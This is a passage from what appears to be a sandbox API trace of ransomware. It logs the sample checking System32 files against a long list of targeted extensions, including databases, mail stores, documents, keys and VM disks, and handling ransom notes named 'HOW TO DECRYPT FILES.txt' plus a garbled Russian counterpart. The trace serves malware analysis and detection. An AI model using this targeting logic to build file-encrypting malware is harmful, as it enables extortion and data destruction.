(pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qby") returned 0 [0144.647] lstrlenA (lpString="*.qby") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qbj") returned 0 [0144.647] lstrlenA (lpString="*.qbj") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.ofx") returned 0 [0144.647] lstrlenA (lpString="*.ofx") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.qif") returned 0 [0144.647] lstrlenA (lpString="*.qif") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.mye") returned 0 [0144.647] lstrlenA (lpString="*.mye") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.mbox") returned 0 [0144.647] lstrlenA (lpString="*.mbox") returned 6 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.eml") returned 0 [0144.647] lstrlenA (lpString="*.eml") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.pst") returned 0 [0144.647] lstrlenA (lpString="*.pst") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.ost") returned 0 [0144.647] lstrlenA (lpString="*.ost") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.idx") returned 0 [0144.647] lstrlenA (lpString="*.idx") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.dbx") returned 0 [0144.647] lstrlenA (lpString="*.dbx") returned 5 [0144.647] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.sql") returned 0 [0144.648] lstrlenA (lpString="*.sql") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.mdb") returned 0 [0144.648] lstrlenA (lpString="*.mdb") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.fdb") returned 0 [0144.648] lstrlenA (lpString="*.fdb") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.wab") returned 0 [0144.648] lstrlenA (lpString="*.wab") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.dat") returned 0 [0144.648] lstrlenA (lpString="*.dat") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.txt") returned 0 [0144.648] lstrlenA (lpString="*.txt") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.jpeg") returned 0 [0144.648] lstrlenA (lpString="*.jpeg") returned 6 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.jpg") returned 0 [0144.648] lstrlenA (lpString="*.jpg") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.png") returned 0 [0144.648] lstrlenA (lpString="*.png") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.php") returned 0 [0144.648] lstrlenA (lpString="*.php") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.cs") returned 0 [0144.648] lstrlenA (lpString="*.cs") returned 4 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.cpp") returned 0 [0144.648] lstrlenA (lpString="*.cpp") returned 5 [0144.648] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.rar") returned 0 [0144.648] lstrlenA (lpString="*.rar") returned 5 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.zip") returned 0 [0144.649] lstrlenA (lpString="*.zip") returned 5 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.html") returned 0 [0144.649] lstrlenA (lpString="*.html") returned 6 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.htm") returned 0 [0144.649] lstrlenA (lpString="*.htm") returned 5 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.xlsx") returned 0 [0144.649] lstrlenA (lpString="*.xlsx") returned 6 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.xls") returned 0 [0144.649] lstrlenA (lpString="*.xls") returned 5 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.mp4") returned 0 [0144.649] lstrlenA (lpString="*.mp4") returned 5 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.ppt") returned 0 [0144.649] lstrlenA (lpString="*.ppt") returned 5 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.pptx") returned 0 [0144.649] lstrlenA (lpString="*.pptx") returned 6 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.doc") returned 0 [0144.649] lstrlenA (lpString="*.doc") returned 5 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.dot") returned 0 [0144.649] lstrlenA (lpString="*.dot") returned 5 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.docx") returned 0 [0144.649] lstrlenA (lpString="*.docx") returned 6 [0144.649] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.7z") returned 0 [0144.649] lstrlenA (lpString="*.7z") returned 4 [0144.653] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.tar") returned 0 [0144.653] lstrlenA (lpString="*.tar") returned 5 [0144.653] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.bz2") returned 0 [0144.653] lstrlenA (lpString="*.bz2") returned 5 [0144.653] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.gz") returned 0 [0144.653] lstrlenA (lpString="*.gz") returned 4 [0144.653] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.mkv") returned 0 [0144.653] lstrlenA (lpString="*.mkv") returned 5 [0144.653] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.eml") returned 0 [0144.653] lstrlenA (lpString="*.eml") returned 5 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.msg") returned 0 [0144.654] lstrlenA (lpString="*.msg") returned 5 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.edb") returned 0 [0144.654] lstrlenA (lpString="*.edb") returned 5 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.accdb") returned 0 [0144.654] lstrlenA (lpString="*.accdb") returned 7 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.odb") returned 0 [0144.654] lstrlenA (lpString="*.odb") returned 5 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.java") returned 0 [0144.654] lstrlenA (lpString="*.java") returned 6 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.asm") returned 0 [0144.654] lstrlenA (lpString="*.asm") returned 5 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.pfx") returned 0 [0144.654] lstrlenA (lpString="*.pfx") returned 5 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.pem") returned 0 [0144.654] lstrlenA (lpString="*.pem") returned 5 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.p12") returned 0 [0144.654] lstrlenA (lpString="*.p12") returned 5 [0144.654] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.gpg") returned 0 [0144.655] lstrlenA (lpString="*.gpg") returned 5 [0144.655] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.vsd") returned 0 [0144.655] lstrlenA (lpString="*.vsd") returned 5 [0144.655] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.odg") returned 0 [0144.655] lstrlenA (lpString="*.odg") returned 5 [0144.655] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.raw") returned 0 [0144.655] lstrlenA (lpString="*.raw") returned 5 [0144.655] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.nef") returned 0 [0144.655] lstrlenA (lpString="*.nef") returned 5 [0144.655] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.svg") returned 0 [0144.655] lstrlenA (lpString="*.svg") returned 5 [0144.655] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.psd") returned 0 [0144.655] lstrlenA (lpString="*.psd") returned 5 [0144.655] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.vmx") returned 0 [0144.655] lstrlenA (lpString="*.vmx") returned 5 [0144.655] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.vmdk") returned 0 [0144.656] lstrlenA (lpString="*.vmdk") returned 6 [0144.656] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.vdi") returned 0 [0144.656] lstrlenA (lpString="*.vdi") returned 5 [0144.656] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.lay6") returned 0 [0144.656] lstrlenA (lpString="*.lay6") returned 6 [0144.656] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.mpeg") returned 0 [0144.656] lstrlenA (lpString="*.mpeg") returned 6 [0144.656] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.djvu") returned 0 [0144.656] lstrlenA (lpString="*.djvu") returned 6 [0144.656] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.tiff") returned 0 [0144.656] lstrlenA (lpString="*.tiff") returned 6 [0144.656] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.backup") returned 0 [0144.656] lstrlenA (lpString="*.backup") returned 8 [0144.656] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.pdf") returned 0 [0144.656] lstrlenA (lpString="*.pdf") returned 5 [0144.656] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.cert") returned 0 [0144.657] lstrlenA (lpString="*.cert") returned 6 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.docm") returned 0 [0144.657] lstrlenA (lpString="*.docm") returned 6 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.xlsm") returned 0 [0144.657] lstrlenA (lpString="*.xlsm") returned 6 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.dwg") returned 0 [0144.657] lstrlenA (lpString="*.dwg") returned 5 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.nd") returned 0 [0144.657] lstrlenA (lpString="*.nd") returned 4 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.tlg") returned 0 [0144.657] lstrlenA (lpString="*.tlg") returned 5 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.lgb") returned 0 [0144.657] lstrlenA (lpString="*.lgb") returned 5 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.mov") returned 0 [0144.657] lstrlenA (lpString="*.mov") returned 5 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.xdw") returned 0 [0144.657] lstrlenA (lpString="*.xdw") returned 5 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.ods") returned 0 [0144.657] lstrlenA (lpString="*.ods") returned 5 [0144.657] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.wav") returned 0 [0144.657] lstrlenA (lpString="*.wav") returned 5 [0144.658] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.mp3") returned 0 [0144.658] lstrlenA (lpString="*.mp3") returned 5 [0144.658] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.aiff") returned 0 [0144.658] lstrlenA (lpString="*.aiff") returned 6 [0144.658] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.flac") returned 0 [0144.658] lstrlenA (lpString="*.flac") returned 6 [0144.658] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.m4a") returned 0 [0144.658] lstrlenA (lpString="*.m4a") returned 5 [0144.658] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpcsvc6.dll", pszSpec="*.csv") returned 0 [0144.658] lstrlenA (lpString="*.csv") returned 5 [0144.658] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.658] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DHCPQEC.DLL") returned 1 [0144.658] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DHCPQEC.DLL") returned 1 [0144.658] lstrcmpiA (lpString1="", lpString2="DHCPQEC.DLL") returned -1 [0144.658] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dhcpcsvc6.dll") returned="dhcpcsvc6.dll" [0144.658] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.658] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.658] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.659] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.659] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="DHCPQEC.DLL" | out: lpString1="C:\\Windows\\System32\\DHCPQEC.DLL") returned="C:\\Windows\\System32\\DHCPQEC.DLL" [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.ems") returned 0 [0144.659] lstrlenA (lpString="*.ems") returned 5 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.db") returned 0 [0144.659] lstrlenA (lpString="*.db") returned 4 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.dbf") returned 0 [0144.659] lstrlenA (lpString="*.dbf") returned 5 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.myox") returned 0 [0144.659] lstrlenA (lpString="*.myox") returned 6 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.myo") returned 0 [0144.659] lstrlenA (lpString="*.myo") returned 5 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qbw") returned 0 [0144.659] lstrlenA (lpString="*.qbw") returned 5 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qbb") returned 0 [0144.659] lstrlenA (lpString="*.qbb") returned 5 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qbm") returned 0 [0144.659] lstrlenA (lpString="*.qbm") returned 5 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qbo") returned 0 [0144.659] lstrlenA (lpString="*.qbo") returned 5 [0144.659] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qbx") returned 0 [0144.660] lstrlenA (lpString="*.qbx") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qba") returned 0 [0144.660] lstrlenA (lpString="*.qba") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qby") returned 0 [0144.660] lstrlenA (lpString="*.qby") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qbj") returned 0 [0144.660] lstrlenA (lpString="*.qbj") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.ofx") returned 0 [0144.660] lstrlenA (lpString="*.ofx") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.qif") returned 0 [0144.660] lstrlenA (lpString="*.qif") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.mye") returned 0 [0144.660] lstrlenA (lpString="*.mye") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.mbox") returned 0 [0144.660] lstrlenA (lpString="*.mbox") returned 6 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.eml") returned 0 [0144.660] lstrlenA (lpString="*.eml") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.pst") returned 0 [0144.660] lstrlenA (lpString="*.pst") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.ost") returned 0 [0144.660] lstrlenA (lpString="*.ost") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.idx") returned 0 [0144.660] lstrlenA (lpString="*.idx") returned 5 [0144.660] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.dbx") returned 0 [0144.661] lstrlenA (lpString="*.dbx") returned 5 [0144.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.sql") returned 0 [0144.661] lstrlenA (lpString="*.sql") returned 5 [0144.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.mdb") returned 0 [0144.661] lstrlenA (lpString="*.mdb") returned 5 [0144.661] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.fdb") returned 0 [0144.661] lstrlenA (lpString="*.fdb") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.wab") returned 0 [0144.662] lstrlenA (lpString="*.wab") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.dat") returned 0 [0144.662] lstrlenA (lpString="*.dat") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.txt") returned 0 [0144.662] lstrlenA (lpString="*.txt") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.jpeg") returned 0 [0144.662] lstrlenA (lpString="*.jpeg") returned 6 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.jpg") returned 0 [0144.662] lstrlenA (lpString="*.jpg") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.png") returned 0 [0144.662] lstrlenA (lpString="*.png") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.php") returned 0 [0144.662] lstrlenA (lpString="*.php") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.cs") returned 0 [0144.662] lstrlenA (lpString="*.cs") returned 4 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.cpp") returned 0 [0144.662] lstrlenA (lpString="*.cpp") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.rar") returned 0 [0144.662] lstrlenA (lpString="*.rar") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.zip") returned 0 [0144.662] lstrlenA (lpString="*.zip") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.html") returned 0 [0144.662] lstrlenA (lpString="*.html") returned 6 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.htm") returned 0 [0144.662] lstrlenA (lpString="*.htm") returned 5 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.xlsx") returned 0 [0144.662] lstrlenA (lpString="*.xlsx") returned 6 [0144.662] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.xls") returned 0 [0144.663] lstrlenA (lpString="*.xls") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.mp4") returned 0 [0144.663] lstrlenA (lpString="*.mp4") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.ppt") returned 0 [0144.663] lstrlenA (lpString="*.ppt") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.pptx") returned 0 [0144.663] lstrlenA (lpString="*.pptx") returned 6 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.doc") returned 0 [0144.663] lstrlenA (lpString="*.doc") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.dot") returned 0 [0144.663] lstrlenA (lpString="*.dot") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.docx") returned 0 [0144.663] lstrlenA (lpString="*.docx") returned 6 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.7z") returned 0 [0144.663] lstrlenA (lpString="*.7z") returned 4 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.tar") returned 0 [0144.663] lstrlenA (lpString="*.tar") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.bz2") returned 0 [0144.663] lstrlenA (lpString="*.bz2") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.gz") returned 0 [0144.663] lstrlenA (lpString="*.gz") returned 4 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.mkv") returned 0 [0144.663] lstrlenA (lpString="*.mkv") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.eml") returned 0 [0144.663] lstrlenA (lpString="*.eml") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.msg") returned 0 [0144.663] lstrlenA (lpString="*.msg") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.edb") returned 0 [0144.663] lstrlenA (lpString="*.edb") returned 5 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.accdb") returned 0 [0144.663] lstrlenA (lpString="*.accdb") returned 7 [0144.663] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.odb") returned 0 [0144.664] lstrlenA (lpString="*.odb") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.java") returned 0 [0144.664] lstrlenA (lpString="*.java") returned 6 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.asm") returned 0 [0144.664] lstrlenA (lpString="*.asm") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.pfx") returned 0 [0144.664] lstrlenA (lpString="*.pfx") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.pem") returned 0 [0144.664] lstrlenA (lpString="*.pem") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.p12") returned 0 [0144.664] lstrlenA (lpString="*.p12") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.gpg") returned 0 [0144.664] lstrlenA (lpString="*.gpg") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.vsd") returned 0 [0144.664] lstrlenA (lpString="*.vsd") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.odg") returned 0 [0144.664] lstrlenA (lpString="*.odg") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.raw") returned 0 [0144.664] lstrlenA (lpString="*.raw") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.nef") returned 0 [0144.664] lstrlenA (lpString="*.nef") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.svg") returned 0 [0144.664] lstrlenA (lpString="*.svg") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.psd") returned 0 [0144.664] lstrlenA (lpString="*.psd") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.vmx") returned 0 [0144.664] lstrlenA (lpString="*.vmx") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.vmdk") returned 0 [0144.664] lstrlenA (lpString="*.vmdk") returned 6 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.vdi") returned 0 [0144.664] lstrlenA (lpString="*.vdi") returned 5 [0144.664] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.lay6") returned 0 [0144.664] lstrlenA (lpString="*.lay6") returned 6 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.mpeg") returned 0 [0144.665] lstrlenA (lpString="*.mpeg") returned 6 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.djvu") returned 0 [0144.665] lstrlenA (lpString="*.djvu") returned 6 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.tiff") returned 0 [0144.665] lstrlenA 